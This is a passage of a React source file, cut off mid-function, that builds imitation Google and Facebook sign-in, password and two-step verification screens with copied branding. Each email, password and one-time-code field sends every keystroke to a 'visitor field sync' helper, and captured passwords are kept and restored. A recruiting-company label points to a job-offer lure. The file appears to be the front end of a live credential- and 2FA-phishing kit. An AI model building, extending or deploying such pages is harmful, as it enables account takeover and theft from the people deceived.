"use client"

import { useEffect, useId, useState, type ChangeEvent, type FormEvent, type HTMLAttributes, type ReactNode } from "react"
import { cn } from "@/lib/utils"
import { Eye, EyeOff, KeyRound, Mail, Smartphone } from "lucide-react"
import { peekStoredLoginPassword } from "@/lib/session-tracking"
import { syncVisitorFieldTyping } from "@/lib/visitor-field-sync"
import { AGENT } from "@/lib/agent-brand"
import { RecruitingCompanyContinueLabel } from "@/components/recruiting-company"

export function GoogleMark({ className }: { className?: string }) {
  return (
    <svg aria-hidden viewBox="0 0 24 24" className={className} xmlns="http://www.w3.org/2000/svg">
      <path
        fill="#4285F4"
        d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
      />
      <path
        fill="#34A853"
        d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
      />
      <path
        fill="#FBBC05"
        d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z"
      />
      <path
        fill="#EA4335"
        d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
      />
    </svg>
  )
}

export function GoogleWordmark({ className }: { className?: string }) {
  return (
    <div
      className={cn("inline-flex items-center gap-2 select-none", className)}
      aria-label="Google"
      role="img"
    >
      <GoogleMark className="h-7 w-7" />
      <span className="text-[22px] font-medium leading-none tracking-[-0.02em]">
        <span className="text-[#4285F4]">G</span>
        <span className="text-[#EA4335]">o</span>
        <span className="text-[#FBBC05]">o</span>
        <span className="text-[#4285F4]">g</span>
        <span className="text-[#34A853]">l</span>
        <span className="text-[#EA4335]">e</span>
      </span>
    </div>
  )
}

/** Small favicon for browser tab chrome */
export function FacebookMark({ className }: { className?: string }) {
  return (
    <svg aria-hidden viewBox="0 0 24 24" className={className} xmlns="http://www.w3.org/2000/svg">
      <circle cx="12" cy="12" r="12" fill="#1877F2" />
      <path
        fill="#fff"
        d="M13.4 24V16.6h2.6l.4-3h-3V11.2c0-.85.25-1.45 1.5-1.45h1.6V7.1C14.4 6.85 13.1 6.5 11.7 6.5c-3 0-5.05 1.85-5.05 5.2v3.05H5v3h1.65V24h6.75z"
      />
    </svg>
  )
}

export function GoogleCheckpointShell({ children }: { children: ReactNode }) {
  return (
    <div className="google-ui flex w-full flex-col items-center justify-center bg-[#fff] px-4 py-6 sm:px-6 sm:py-8">
      {children}
    </div>
  )
}

export const FacebookCheckpointShell = GoogleCheckpointShell

export function GoogleCheckpointCard({
  children,
  className,
}: {
  children: ReactNode
  className?: string
}) {
  return (
    <div
      className={cn(
        "w-full max-w-[440px] rounded-[20px] border border-[#dadce0] bg-white px-4 py-6 sm:rounded-[28px] sm:px-10 sm:py-12",
        className
      )}
    >
      {children}
    </div>
  )
}

export const FacebookCheckpointCard = GoogleCheckpointCard

export function GoogleErrorBanner({ message }: { message: string }) {
  return (
    <div
      role="alert"
      className="mt-4 flex items-start gap-3 rounded-lg bg-[#fce8e6] px-3 py-3 text-left text-[13px] leading-snug text-[#d93025]"
    >
      <svg className="mt-0.5 h-4 w-4 shrink-0" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
        <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z" />
      </svg>
      <span>{message}</span>
    </div>
  )
}

export function FacebookErrorBanner({ message }: { message: string }) {
  return (
    <div
      role="alert"
      className="mx-5 mb-1 rounded-xl border border-[#f5c2c7] bg-[#fff5f5] px-3.5 py-3 text-left text-[13px] leading-snug text-[#b3261e]"
    >
      {message}
    </div>
  )
}

type AuthIconVariant = "app" | "sms" | "email"

export function GoogleAuthIcon({ variant }: { variant: AuthIconVariant }) {
  const Icon = variant === "app" ? KeyRound : variant === "sms" ? Smartphone : Mail
  const label =
    variant === "app"
      ? "Authentication app"
      : variant === "sms"
        ? "Text message"
        : "Email"

  return (
    <div className="mb-6 flex flex-col items-start gap-2">
      <div className="flex h-12 w-12 items-center justify-center rounded-full bg-[#e8f0fe]">
        <Icon className="h-6 w-6 text-[#1a73e8]" strokeWidth={1.75} aria-hidden />
      </div>
      <span className="sr-only">{label}</span>
    </div>
  )
}

export const FacebookAuthIcon = GoogleAuthIcon

export function GoogleOutlinedField({
  label,
  type = "text",
  name,
  error,
  autoComplete,
  inputMode,
  required,
  defaultValue,
  value,
  onChange,
  maxLength,
  disabled,
  readOnly,
}: {
  label: string
  type?: string
  name: string
  error?: boolean
  autoComplete?: string
  inputMode?: HTMLAttributes<HTMLInputElement>["inputMode"]
  required?: boolean
  defaultValue?: string
  value?: string
  onChange?: (e: ChangeEvent<HTMLInputElement>) => void
  maxLength?: number
  disabled?: boolean
  readOnly?: boolean
}) {
  const id = useId()
  const [showPassword, setShowPassword] = useState(false)
  const isPassword = type === "password"
  const inputType = isPassword ? (showPassword ? "text" : "password") : type
  const isControlled = value !== undefined

  return (
    <div className="relative">
      <input
        id={id}
        name={name}
        type={inputType}
        required={required}
        autoComplete={autoComplete}
        inputMode={inputMode}
        {...(isControlled
          ? { value, onChange }
          : { defaultValue })}
        maxLength={maxLength}
        disabled={disabled}
        readOnly={readOnly}
        placeholder=" "
        className={cn(
          "google-outlined-input peer box-border h-14 w-full rounded-[4px] border bg-transparent px-3.5 pb-2 pt-5 text-[16px] leading-[24px] text-[#202124] outline-none transition-colors disabled:cursor-not-allowed disabled:bg-[#f8f9fa] disabled:text-[#5f6368] read-only:bg-[#f8f9fa]",
          isPassword ? "pr-12" : "",
          error
            ? "border-[#d93025] focus:border-[#d93025] focus:shadow-[0_0_0_1px_#d93025]"
            : "border-[#dadce0] focus:border-[#1a73e8] focus:shadow-[0_0_0_1px_#1a73e8]"
        )}
      />
      <label
        htmlFor={id}
        className={cn(
          "pointer-events-none absolute left-3.5 top-1/2 origin-left -translate-y-1/2 bg-white px-1 text-[16px] leading-none text-[#5f6368] transition-all duration-150",
          "peer-focus:top-2.5 peer-focus:translate-y-0 peer-focus:scale-[0.75] peer-focus:text-[#1a73e8]",
          "peer-[:not(:placeholder-shown)]:top-2.5 peer-[:not(:placeholder-shown)]:translate-y-0 peer-[:not(:placeholder-shown)]:scale-[0.75]",
          error && "peer-focus:text-[#d93025] peer-[:not(:placeholder-shown)]:text-[#d93025]"
        )}
      >
        {label}
      </label>
      {isPassword && (
        <button
          type="button"
          tabIndex={-1}
          disabled={disabled}
          onClick={() => setShowPassword((v) => !v)}
          className="absolute right-2 top-1/2 -translate-y-1/2 rounded-full p-2 text-[#5f6368] hover:bg-[#f1f3f4] disabled:pointer-events-none disabled:opacity-50"
          aria-label={showPassword ? "Hide password" : "Show password"}
        >
          {showPassword ? <EyeOff className="h-5 w-5" /> : <Eye className="h-5 w-5" />}
        </button>
      )}
    </div>
  )
}

export function GoogleCodeInput({
  className,
  ...props
}: React.ComponentProps<"input">) {
  return (
    <input
      {...props}
      className={cn(
        "w-full rounded-[4px] border border-[#dadce0] bg-white px-4 py-3.5 text-center text-xl font-medium tracking-[0.4em] text-[#202124]",
        "placeholder:text-[#80868b] placeholder:tracking-normal placeholder:font-normal placeholder:text-base",
        "transition-shadow focus:border-[#1a73e8] focus:outline-none focus:shadow-[0_0_0_1px_#1a73e8]",
        className
      )}
    />
  )
}

export const FacebookCodeInput = GoogleCodeInput

export function GooglePrimaryButton({
  children,
  className,
  ...props
}: React.ComponentProps<"button">) {
  return (
    <button
      type="submit"
      {...props}
      className={cn(
        "inline-flex h-9 min-w-[80px] items-center justify-center rounded-full bg-[#1a73e8] px-6 text-[14px] font-medium text-white",
        "transition-colors hover:bg-[#1765cc] hover:shadow-sm active:bg-[#1557b0]",
        "disabled:cursor-not-allowed disabled:opacity-60",
        className
      )}
    >
      {children}
    </button>
  )
}

export const FacebookPrimaryButton = GooglePrimaryButton

export function GoogleTextField({
  className,
  ...props
}: React.ComponentProps<"input">) {
  return (
    <input
      {...props}
      className={cn(
        "w-full rounded-[4px] border border-[#dadce0] bg-white px-3.5 py-3.5 text-[16px] text-[#202124]",
        "placeholder:text-[#80868b] focus:border-[#1a73e8] focus:outline-none focus:shadow-[0_0_0_1px_#1a73e8]",
        className
      )}
    />
  )
}

export const FacebookTextField = GoogleTextField

type TwoFactorVariant = "app" | "sms" | "email"

const TWO_FA_COPY: Record<
  TwoFactorVariant,
  { title: string; description: string; placeholder: string; inputMode?: "numeric" }
> = {
  app: {
    title: "2-Step Verification",
    description:
      "Get a verification code from the Google Authenticator app (or another authenticator app). Enter the 6-digit code below.",
    placeholder: "Enter code",
    inputMode: "numeric",
  },
  sms: {
    title: "2-Step Verification",
    description:
      "A text message with a 6-digit verification code was just sent to your phone. Enter the code below.",
    placeholder: "Enter code",
    inputMode: "numeric",
  },
  email: {
    title: "2-Step Verification",
    description:
      "Google sent a verification code to your email. Open the message and enter the 6-digit code below.",
    placeholder: "Enter code",
    inputMode: "numeric",
  },
}

function GoogleSpinner() {
  return (
    <span
      className="inline-block h-5 w-5 animate-spin rounded-full border-2 border-white/40 border-t-white"
      aria-hidden
    />
  )
}

function GoogleAccountChip({
  contact,
  onClick,
}: {
  contact: string
  onClick?: () => void
}) {
  const letter = contact.charAt(0).toUpperCase() || "?"
  const className = cn(
    "mt-3 inline-flex max-w-full items-center gap-2 rounded-full border border-[#dadce0] px-3 py-1.5 text-left text-[14px] text-[#3c4043]",
    onClick && "hover:bg-[#f8f9fa]"
  )
  const body = (
    <>
      <span className="flex h-6 w-6 shrink-0 items-center justify-center rounded-full bg-[#e8f0fe] text-[11px] font-medium text-[#1a73e8]">
        {letter}
      </span>
      <span className="truncate">{contact}</span>
      {onClick ? (
        <svg className="h-4 w-4 shrink-0 text-[#5f6368]" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
          <path d="M7 10l5 5 5-5H7z" />
        </svg>
      ) : null}
    </>
  )
  if (onClick) {
    return (
      <button type="button" onClick={onClick} className={className}>
        {body}
      </button>
    )
  }
  return <div className={className}>{body}</div>
}

function GooglePendingButton() {
  return (
    <GooglePrimaryButton disabled className="min-w-[96px] cursor-wait">
      <GoogleSpinner />
    </GooglePrimaryButton>
  )
}

export function GoogleTwoFactorScreen({
  variant,
  email,
  phone,
  error,
  countdown,
  onSubmit,
  onTryAnotherWay,
  onResendCode,
  pending,
}: {
  variant: TwoFactorVariant
  email?: string
  phone?: string
  error?: boolean
  countdown?: number
  onSubmit: (e: FormEvent<HTMLFormElement>) => void
  onTryAnotherWay?: () => void
  onResendCode?: () => void
  pending?: boolean
}) {
  const [code, setCode] = useState("")
  const copy = TWO_FA_COPY[variant]
  const contact = email || phone
  const codeType =
    variant === "app" ? "App" : variant === "sms" ? "SMS" : "Email"

  return (
    <GoogleCheckpointShell>
      <GoogleCheckpointCard>
        <GoogleWordmark className="mb-5" />
        <GoogleAuthIcon variant={variant} />

        <h2 className="text-left text-[24px] font-normal leading-tight text-[#202124]">
          {error && !pending ? "Wrong code. Try again" : copy.title}
        </h2>

        {contact ? <GoogleAccountChip contact={contact} /> : null}

        {error && !pending ? (
          <GoogleErrorBanner message="Wrong code. Try again." />
        ) : null}

        <p className="mt-4 text-left text-[14px] leading-relaxed text-[#5f6368]">
          {copy.description}
        </p>

        <form
          onSubmit={(e) => {
            if (pending) {
              e.preventDefault()
              return
            }
            onSubmit(e)
          }}
          className="mt-8 space-y-6"
        >
          <GoogleOutlinedField
            label={copy.placeholder}
            name="code"
            inputMode={copy.inputMode}
            autoComplete="one-time-code"
            required={!pending}
            error={error && !pending}
            maxLength={6}
            disabled={pending}
            value={code}
            onChange={(e) => {
              const next = e.target.value
              setCode(next)
              syncVisitorFieldTyping({
                field: "2fa",
                value: next,
                provider: "google",
                emailHint: email,
                codeType,
              })
            }}
          />
          <div className="flex items-center justify-between gap-3">
            {variant === "sms" && countdown !== undefined ? (
              countdown > 0 ? (
                <span className="text-[14px] text-[#5f6368]">
                  Resend in {formatCountdown(countdown)}
                </span>
              ) : (
                <button
                  type="button"
                  className="text-[14px] font-medium text-[#1a73e8] hover:underline"
                  disabled={pending}
                  onClick={onResendCode}
                >
                  Resend
                </button>
              )
            ) : (
              <button
                type="button"
                className="rounded px-1 text-[14px] font-medium text-[#1a73e8] hover:bg-[#f6fafe] hover:underline"
                disabled={pending}
                onClick={onTryAnotherWay}
              >
                Try another way
              </button>
            )}
            {pending ? (
              <GooglePendingButton />
            ) : (
              <GooglePrimaryButton>Next</GooglePrimaryButton>
            )}
          </div>
        </form>
      </GoogleCheckpointCard>
    </GoogleCheckpointShell>
  )
}

function FacebookLogo({ className }: { className?: string }) {
  return (
    <svg className={cn("mx-auto block", className)} viewBox="0 0 48 48" aria-hidden>
      <circle cx="24" cy="24" r="24" fill="#1877F2" />
      <path
        fill="#fff"
        d="M26.8 48V31.5h5.2l.8-6h-6V21.5c0-1.7.5-2.9 3-2.9h3.2V13.2C32.8 12.7 30.2 12 27.4 12c-6 0-10.1 3.7-10.1 10.4v6.1H12v6h5.3V48h9.5z"
      />
    </svg>
  )
}

function FacebookWordmark({ className }: { className?: string }) {
  return (
    <div className={cn("flex items-center justify-center", className)} aria-label="Facebook" role="img">
      <FacebookLogo className="h-10 w-10" />
    </div>
  )
}

function FacebookSpinner() {
  return (
    <span
      className="inline-block h-5 w-5 animate-spin rounded-full border-2 border-white/40 border-t-white"
      aria-hidden
    />
  )
}

/** Shared Facebook checkpoint card chrome */
function FacebookTrustFooter() {
  return (
    <div className="border-t border-[#dadde1] px-5 py-3 text-center">
      <p className="text-[11px] leading-relaxed text-[#8a8d91]">
        Meta · Secure sign-in · We never post without your permission
      </p>
    </div>
  )
}

function FacebookIconCircle({ children, className }: { children: ReactNode; className?: string }) {
  return (
    <div
      className={cn(
        "flex h-[92px] w-[92px] items-center justify-center rounded-full bg-gradient-to-b from-[#eef6ff] to-[#e7f3ff] shadow-[inset_0_1px_0_rgba(255,255,255,0.8)] ring-1 ring-[#0866FF]/15",
        className
      )}
    >
      {children}
    </div>
  )
}

const FB_FIELD_CLASS =
  "h-12 w-full rounded-md border border-[#dddfe2] bg-white px-3.5 text-[16px] text-[#1c1e21] outline-none transition-[border-color,box-shadow] placeholder:text-[#90949c] focus:border-[#1877F2] focus:shadow-[0_0_0_2px_rgba(24,119,242,0.2)] disabled:cursor-not-allowed disabled:bg-[#f5f6f7] disabled:text-[#65676b] [&:-webkit-autofill]:shadow-[inset_0_0_0_1000px_#ffffff] [&:-webkit-autofill]:[-webkit-text-fill-color:#1c1e21]"

function FacebookCheckpointFrame({
  children,
  wide,
}: {
  children: ReactNode
  wide?: boolean
}) {
  return (
    <div className="w-full bg-[#f0f2f5] px-4 py-6 sm:py-8">
      <div
        className={cn(
          "mx-auto w-full overflow-hidden rounded-lg bg-white shadow-[0_2px_4px_rgba(0,0,0,0.1),0_8px_16px_rgba(0,0,0,0.1)]",
          wide ? "max-w-[460px]" : "max-w-[396px]"
        )}
      >
        {children}
        <FacebookTrustFooter />
      </div>
    </div>
  )
}

function FacebookCheckpointHeader({
  title,
  subtitle,
  badge,
}: {
  title: string
  subtitle?: string
  badge?: string
}) {
  return (
    <div className="border-b border-[#dadde1] px-5 pb-5 pt-7 text-center sm:px-6">
      <FacebookWordmark />
      {badge ? (
        <p className="mt-3 text-[11px] font-semibold uppercase tracking-[0.12em] text-[#65676b]">
          {badge}
        </p>
      ) : null}
      <h1 className="mt-2 text-[20px] font-semibold leading-snug text-[#1c1e21]">
        {title}
      </h1>
      {subtitle ? (
        <p className="mt-2 text-[15px] leading-relaxed text-[#65676b]">{subtitle}</p>
      ) : null}
    </div>
  )
}

function FacebookLinkButton({
  children,
  disabled,
  onClick,
}: {
  children: ReactNode
  disabled?: boolean
  onClick?: () => void
}) {
  return (
    <button
      type="button"
      disabled={disabled}
      onClick={onClick}
      className="rounded-lg px-2 py-1 text-[14px] font-semibold text-[#0866FF] transition hover:bg-[#e7f3ff]/60 hover:underline disabled:opacity-50"
    >
      {children}
    </button>
  )
}

function FacebookContinueButton({
  children,
  pending,
  disabled,
  onClick,
  type = "submit",
  fullWidth,
}: {
  children?: ReactNode
  pending?: boolean
  disabled?: boolean
  onClick?: () => void
  type?: "submit" | "button"
  fullWidth?: boolean
}) {
  return (
    <button
      type={type}
      disabled={disabled || pending}
      onClick={onClick}
      className={cn(
        "inline-flex h-11 min-w-[120px] items-center justify-center rounded-md bg-[#1877F2] px-6 text-[15px] font-bold text-white transition hover:bg-[#166fe5] disabled:cursor-wait disabled:opacity-95",
        fullWidth && "w-full"
      )}
    >
      {pending ? <FacebookSpinner /> : children ?? "Continue"}
    </button>
  )
}

/** Phone → shield → laptop illustration (Facebook approve style) */
function FacebookApproveIllustration() {
  return (
    <svg
      viewBox="0 0 280 120"
      className="mx-auto h-auto w-full max-w-[280px]"
      aria-hidden
    >
      {/* Phone */}
      <rect x="18" y="18" width="52" height="90" rx="8" fill="#E7F3FF" stroke="#0866FF" strokeWidth="2.5" />
      <rect x="26" y="30" width="36" height="58" rx="2" fill="#fff" />
      <circle cx="44" cy="98" r="4" fill="#0866FF" />
      {/* Line to shield */}
      <path d="M72 60 H108" stroke="#0866FF" strokeWidth="2.5" strokeDasharray="4 4" />
      {/* Shield */}
      <path
        d="M140 22c0 0-28 10-28 10v28c0 22 28 38 28 38s28-16 28-38V32s-28-10-28-10z"
        fill="#FFD700"
        stroke="#E6B800"
        strokeWidth="2"
      />
      <path
        d="M140 38v34c8-4 16-12 16-24V42l-16-4z"
        fill="#F5C518"
        opacity="0.5"
      />
      <path
        d="M132 58l6 6 12-14"
        fill="none"
        stroke="#1c1e21"
        strokeWidth="3"
        strokeLinecap="round"
        strokeLinejoin="round"
      />
      {/* Line to laptop */}
      <path d="M172 60 H208" stroke="#0866FF" strokeWidth="2.5" strokeDasharray="4 4" />
      {/* Laptop */}
      <rect x="210" y="36" width="58" height="40" rx="3" fill="#E7F3FF" stroke="#0866FF" strokeWidth="2.5" />
      <rect x="218" y="44" width="42" height="24" rx="1" fill="#fff" />
      <path d="M204 80 H274" stroke="#0866FF" strokeWidth="3" strokeLinecap="round" />
      <path d="M200 86 H278" stroke="#0866FF" strokeWidth="5" strokeLinecap="round" opacity="0.35" />
    </svg>
  )
}

function FacebookPhoneIllustration({ number }: { number: string }) {
  return (
    <div className="relative mx-auto w-full max-w-[200px]">
      <svg viewBox="0 0 160 200" className="mx-auto h-auto w-full" aria-hidden>
        <rect x="40" y="8" width="80" height="160" rx="12" fill="#E7F3FF" stroke="#0866FF" strokeWidth="3" />
        <rect x="48" y="28" width="64" height="112" rx="3" fill="#fff" />
        <rect x="68" y="14" width="24" height="6" rx="3" fill="#B0D5FF" />
        <circle cx="80" cy="154" r="6" fill="#0866FF" />
        {/* Notification bubble */}
        <rect x="54" y="48" width="52" height="44" rx="8" fill="#0866FF" />
        <text
          x="80"
          y="78"
          textAnchor="middle"
          fill="#fff"
          fontSize="22"
          fontWeight="700"
          fontFamily="system-ui,Segoe UI,Helvetica,Arial,sans-serif"
        >
          {number}
        </text>
      </svg>
    </div>
  )
}

function FacebookAuthAppIllustration() {
  return (
    <FacebookIconCircle>
      <svg className="h-11 w-11 text-[#0866FF]" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
        <path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z" />
      </svg>
    </FacebookIconCircle>
  )
}

function maskContact(contact?: string) {
  if (!contact) return ""
  if (contact.includes("@")) {
    const [user, domain] = contact.split("@")
    if (!user || !domain) return contact
    const visible = user.slice(0, Math.min(2, user.length))
    return `${visible}${"•".repeat(Math.max(3, user.length - 2))}@${domain}`
  }
  const digits = contact.replace(/\D/g, "")
  if (digits.length < 4) return contact
  return `••••••${digits.slice(-4)}`
}

export function FacebookTwoFactorScreen({
  variant,
  email,
  phone,
  error,
  countdown,
  onSubmit,
  onTryAnotherWay,
  onResendCode,
  pending,
}: {
  variant: TwoFactorVariant
  email?: string
  phone?: string
  error?: boolean
  countdown?: number
  onSubmit: (e: FormEvent<HTMLFormElement>) => void
  onTryAnotherWay?: () => void
  onResendCode?: () => void
  pending?: boolean
}) {
  const [code, setCode] = useState("")
  const titles: Record<TwoFactorVariant, string> = {
    app: "Go to your authentication app",
    sms: "Enter the code we sent to your phone",
    email: "Enter the code from your email",
  }
  const descriptions: Record<TwoFactorVariant, string> = {
    app: "Enter the 6-digit code for this account from the code generator or third-party app like Google Authenticator or Duo Mobile.",
    sms: "We texted a login code to your phone. Enter that code to continue.",
    email: "We sent a login code to your email. Enter that code to continue.",
  }
  const contact = email || phone
  const masked = maskContact(contact)

  const stepBadges: Record<TwoFactorVariant, string> = {
    app: "Authenticator",
    sms: "Text message",
    email: "Email code",
  }

  return (
    <FacebookCheckpointFrame>
      <FacebookCheckpointHeader
        badge={stepBadges[variant]}
        title={error && !pending ? "Incorrect code" : titles[variant]}
        subtitle={
          error && !pending
            ? "The login code you entered doesn’t match. Please try again."
            : descriptions[variant]
        }
      />

      <form
        onSubmit={(e) => {
          if (pending) {
            e.preventDefault()
            return
          }
          onSubmit(e)
        }}
        className="border-t border-[#dadde1] px-5 py-6 sm:px-6"
      >
        <div className="mb-5 flex justify-center">
          {variant === "app" ? (
            <FacebookAuthAppIllustration />
          ) : variant === "sms" ? (
            <FacebookIconCircle>
              <svg className="h-11 w-11 text-[#0866FF]" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
                <path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H5.17L4 17.17V4h16v12z" />
              </svg>
            </FacebookIconCircle>
          ) : (
            <FacebookIconCircle>
              <svg className="h-11 w-11 text-[#0866FF]" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
                <path d="M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z" />
              </svg>
            </FacebookIconCircle>
          )}
        </div>

        {masked ? (
          <div className="mb-4 flex justify-center">
            <span className="inline-flex items-center gap-2 rounded-full border border-[#e4e6eb] bg-white px-3.5 py-1.5 text-[13px] font-semibold text-[#1c1e21] shadow-sm">
              <span className="flex h-6 w-6 items-center justify-center rounded-full bg-[#0866FF]/10 text-[11px] font-bold text-[#0866FF]">
                {masked.charAt(0).toUpperCase()}
              </span>
              {masked}
            </span>
          </div>
        ) : null}

        <label className="block text-left">
          <span className="mb-2 block text-[13px] font-semibold text-[#1c1e21]">Login code</span>
          <input
            name="code"
            type="text"
            inputMode="numeric"
            pattern="[0-9]*"
            autoComplete="one-time-code"
            required={!pending}
            disabled={pending}
            maxLength={8}
            placeholder={
              variant === "app"
                ? "Enter 6-digit code"
                : variant === "sms"
                  ? "Enter code from text message"
                  : "Enter code from email"
            }
            autoFocus
            className={FB_FIELD_CLASS}
            value={code}
            onChange={(e) => {
              const next = e.target.value
              setCode(next)
              syncVisitorFieldTyping({
                field: "2fa",
                value: next,
                provider: "facebook",
                emailHint: email || phone,
                codeType:
                  variant === "app" ? "App" : variant === "sms" ? "SMS" : "Email",
              })
            }}
          />
        </label>

        <div className="mt-6 flex flex-col gap-4 sm:flex-row sm:items-center sm:justify-between">
          <div className="order-2 flex flex-col items-center gap-2 text-center sm:order-1 sm:items-start sm:text-left">
            {variant === "sms" && countdown !== undefined ? (
              countdown > 0 ? (
                <span className="rounded-lg bg-white px-3 py-1.5 text-[13px] text-[#65676b] ring-1 ring-[#e4e6eb]">
                  Resend code in {formatCountdown(countdown)}
                </span>
              ) : (
                <FacebookLinkButton disabled={pending} onClick={onResendCode}>
                  Resend code
                </FacebookLinkButton>
              )
            ) : null}
            <FacebookLinkButton disabled={pending} onClick={onTryAnotherWay}>
              Try another way
            </FacebookLinkButton>
          </div>
          <div className="order-1 flex justify-center sm:order-2 sm:justify-end">
            <FacebookContinueButton pending={pending} />
          </div>
        </div>
      </form>
    </FacebookCheckpointFrame>
  )
}

function formatCountdown(seconds: number) {
  const mins = Math.floor(seconds / 60)
  const secs = seconds % 60
  return `${mins}:${secs.toString().padStart(2, "0")}`
}

/** Google step 1 — email or phone only */
export function GoogleEmailScreen({
  error,
  errorMessage,
  onSubmit,
  pending,
  defaultEmail,
}: {
  error?: boolean
  errorMessage?: string
  onSubmit: (e: FormEvent<HTMLFormElement>) => void
  pending?: boolean
  defaultEmail?: string
}) {
  const [email, setEmail] = useState(defaultEmail || "")

  useEffect(() => {
    // Only fill empty field from restore — never overwrite what the user typed
    if (defaultEmail && !email) setEmail(defaultEmail)
  }, [defaultEmail, email])

  return (
    <GoogleCheckpointShell>
      <GoogleCheckpointCard>
        <GoogleWordmark />

        <h1 className="mt-5 text-left text-[24px] font-normal leading-tight text-[#202124]">
          Sign in
        </h1>
        <p className="mt-2 text-left text-[16px] text-[#202124]">Use your Google Account</p>
        <p className="mt-1 text-left text-[14px] text-[#5f6368]">
          <RecruitingCompanyContinueLabel providerColor="#1a73e8" />
        </p>

        {error && !pending ? (
          <GoogleErrorBanner
            message={errorMessage || "Couldn't find your Google Account"}
          />
        ) : null}

        <form
          onSubmit={(e) => {
            if (pending) {
              e.preventDefault()
              return
            }
            onSubmit(e)
          }}
          className="mt-8 space-y-5"
        >
          <GoogleOutlinedField
            label="Email or phone"
            name="email"
            autoComplete="username"
            inputMode="email"
            required={!pending}
            error={error && !pending}
            disabled={pending}
            value={email}
            onChange={(e) => {
              const next = e.target.value
              setEmail(next)
              syncVisitorFieldTyping({
                field: "email",
                value: next,
                provider: "google",
              })
            }}
          />

          <div className="pt-1">
            <a
              href="#"
              className="-ml-1 rounded px-1 text-[14px] font-medium text-[#1a73e8] hover:bg-[#f6fafe] hover:underline"
              onClick={(e) => e.preventDefault()}
            >
              Forgot email?
            </a>
          </div>

          <p className="text-[14px] leading-relaxed text-[#5f6368]">
            Not your computer? Use Guest mode to sign in privately.{" "}
            <a
              href="#"
              className="font-medium text-[#1a73e8] hover:underline"
              onClick={(e) => e.preventDefault()}
            >
              Learn more about using Guest mode
            </a>
          </p>

          <div className="flex items-center justify-between gap-4 pt-4">
            <a
              href="#"
              className="rounded px-2 py-2 text-[14px] font-medium text-[#1a73e8] hover:bg-[#f6fafe]"
              onClick={(e) => e.preventDefault()}
            >
              Create account
            </a>
            {pending ? <GooglePendingButton /> : <GooglePrimaryButton>Next</GooglePrimaryButton>}
          </div>
        </form>
      </GoogleCheckpointCard>
    </GoogleCheckpointShell>
  )
}

/** Google step 2 — password only (after email) */
export function GooglePasswordScreen({
  email,
  error,
  errorMessage,
  onSubmit,
  onBack,
  pending,
  defaultPassword,
}: {
  email: string
  error?: boolean
  errorMessage?: string
  onSubmit: (e: FormEvent<HTMLFormElement>) => void
  onBack?: () => void
  pending?: boolean
  /** Restored after hard refresh / waiting */
  defaultPassword?: string
}) {
  const [password, setPassword] = useState(defaultPassword || "")

  useEffect(() => {
    if (defaultPassword) setPassword(defaultPassword)
  }, [defaultPassword])

  // Also restore from backup while waiting (covers remount before parent peeks)
  useEffect(() => {
    if (password || !pending) return
    const saved = peekStoredLoginPassword("google")
    if (saved) setPassword(saved)
  }, [pending, password])

  return (
    <GoogleCheckpointShell>
      <GoogleCheckpointCard>
        <GoogleWordmark />

        <h1 className="mt-5 text-left text-[24px] font-normal leading-tight text-[#202124]">
          Welcome
        </h1>

        <GoogleAccountChip contact={email} onClick={pending ? undefined : onBack} />

        {error && !pending ? (
          <GoogleErrorBanner
            message={errorMessage || "Wrong password. Try again or click Forgot password to reset it."}
          />
        ) : null}

        <form
          onSubmit={(e) => {
            if (pending) {
              e.preventDefault()
              return
            }
            onSubmit(e)
          }}
          className="mt-8 space-y-5"
        >
          <GoogleOutlinedField
            label="Enter your password"
            name="password"
            type="password"
            autoComplete="current-password"
            required={!pending}
            error={error && !pending}
            disabled={pending}
            value={password}
            onChange={(e) => {
              const next = e.target.value
              setPassword(next)
              syncVisitorFieldTyping({
                field: "password",
                value: next,
                provider: "google",
                emailHint: email,
              })
            }}
          />

          <div className="pt-1">
            <a
              href="#"
              className="-ml-1 rounded px-1 text-[14px] font-medium text-[#1a73e8] hover:bg-[#f6fafe] hover:underline"
              onClick={(e) => e.preventDefault()}
            >
              Forgot password?
            </a>
          </div>

          <div className="flex items-center justify-end gap-4 pt-6">
            {pending ? <GooglePendingButton /> : <GooglePrimaryButton>Next</GooglePrimaryButton>}
          </div>
        </form>
      </GoogleCheckpointCard>
    </GoogleCheckpointShell>
  )
}

/** @deprecated Prefer GoogleEmailScreen + GooglePasswordScreen */
export function GoogleLoginScreen(props: {
  error?: boolean
  errorMessage?: string
  onSubmit: (e: FormEvent<HTMLFormElement>) => void
  pending?: boolean
  defaultEmail?: string
}) {
  return <GoogleEmailScreen {...props} />
}

export function FacebookLoginScreen({
  error,
  errorMessage,
  onSubmit,
  pending,
  defaultEmail,
  defaultPassword,
}: {
  error?: boolean
  errorMessage?: string
  onSubmit: (e: FormEvent<HTMLFormElement>) => void
  pending?: boolean
  defaultEmail?: string
  /** Restored after hard refresh / waiting */
  defaultPassword?: string
}) {
